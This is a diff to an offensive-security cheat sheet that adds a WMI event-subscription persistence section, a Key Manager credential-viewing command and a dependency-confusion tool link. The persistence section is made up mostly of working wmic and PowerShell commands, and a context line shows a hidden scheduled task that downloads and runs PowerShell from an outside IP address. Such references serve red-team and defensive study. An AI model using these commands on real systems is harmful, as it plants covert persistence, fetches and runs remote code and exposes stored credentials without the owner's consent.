Windows Management Instrumentation Event Subscription

Dependency Confusion/README.md

@@ -8,6 +8,11 @@
 * [Exploit](#exploitation)
 * [References](#references)
 
+
+## Tools
+
+* [Confused](https://github.com/visma-prodsec/confused)
+
 ## Exploit
 
 Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
@@ -24,4 +29,4 @@ Look for `npm`, `pip`, `gem` packages, the methodology is the same : you registe
 * [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
 * [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
 * [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
-* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained]( https://www.youtube.com/watch?v=zFHJwehpBrU )
+* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU )

Methodology and Resources/Windows - Persistence.md

@@ -367,6 +367,41 @@ schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v
 schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
 ```
 
+
+### Windows Management Instrumentation Event Subscription
+
+> An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.
+
+
+* **__EventFilter**: Trigger (new process, failed logon etc.)
+* **EventConsumer**: Perform Action (execute payload etc.)
+* **__FilterToConsumerBinding**: Binds Filter and Consumer Classes
+
+```ps1
+# Using CMD : Execute a binary 60 seconds after Windows started
+wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="WMIPersist", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
+wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="WMIPersist", ExecutablePath="C:\Windows\System32\binary.exe",CommandLineTemplate="C:\Windows\System32\binary.exe"
+wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WMIPersist\"", Consumer="CommandLineEventConsumer.Name=\"WMIPersist\""
+# Remove it
+Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='WMIPersist'" | Remove-WmiObject -Verbose
+
+# Using Powershell (deploy)
+$FilterArgs = @{name='WMIPersist'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60 AND TargetInstance.SystemUpTime < 90"};
+$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
+$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\binary.exe";}
+$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
+$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
+$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
+# Using Powershell (remove)
+$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'WMIPersist'"
+$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'WMIPersist'"
+$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
+$FilterConsumerBindingToCleanup | Remove-WmiObject
+$EventConsumerToCleanup | Remove-WmiObject
+$EventFilterToCleanup | Remove-WmiObject
+```
+
+
 ### Binary Replacement
 
 #### Binary Replacement on Windows XP+
@@ -553,3 +588,5 @@ kerberos::tgt
 * [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
 * [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
 * [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
+* [Persistence – WMI Event Subscription - JANUARY 21, 2020 - pentestlab](https://binary.blog/2020/01/21/persistence-wmi-event-subscription/)
+* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)

Methodology and Resources/Windows - Privilege Escalation.md

@@ -23,6 +23,7 @@
     * [Wifi passwords](#wifi-passwords)
     * [Sticky Notes passwords](#sticky-notes-passwords)
     * [Passwords stored in services](#passwords-stored-in-services)
+    * [Passwords stored in Key Manager](#passwords-stored-in-key-manager)
     * [Powershell History](#powershell-history)
     * [Powershell Transcript](#powershell-transcript)
     * [Password in Alternate Data Stream](#password-in-alternate-data-stream)
@@ -587,6 +588,15 @@ Invoke-SessionGopher -AllDomain -o
 Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
 
+
+### Passwords stored in Key Manager
+
+:warning: This software will display its output in a GUI
+
+```ps1
+rundll32 keymgr,KRShowKeyMgr
+```
+
 ### Powershell History
 
 Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.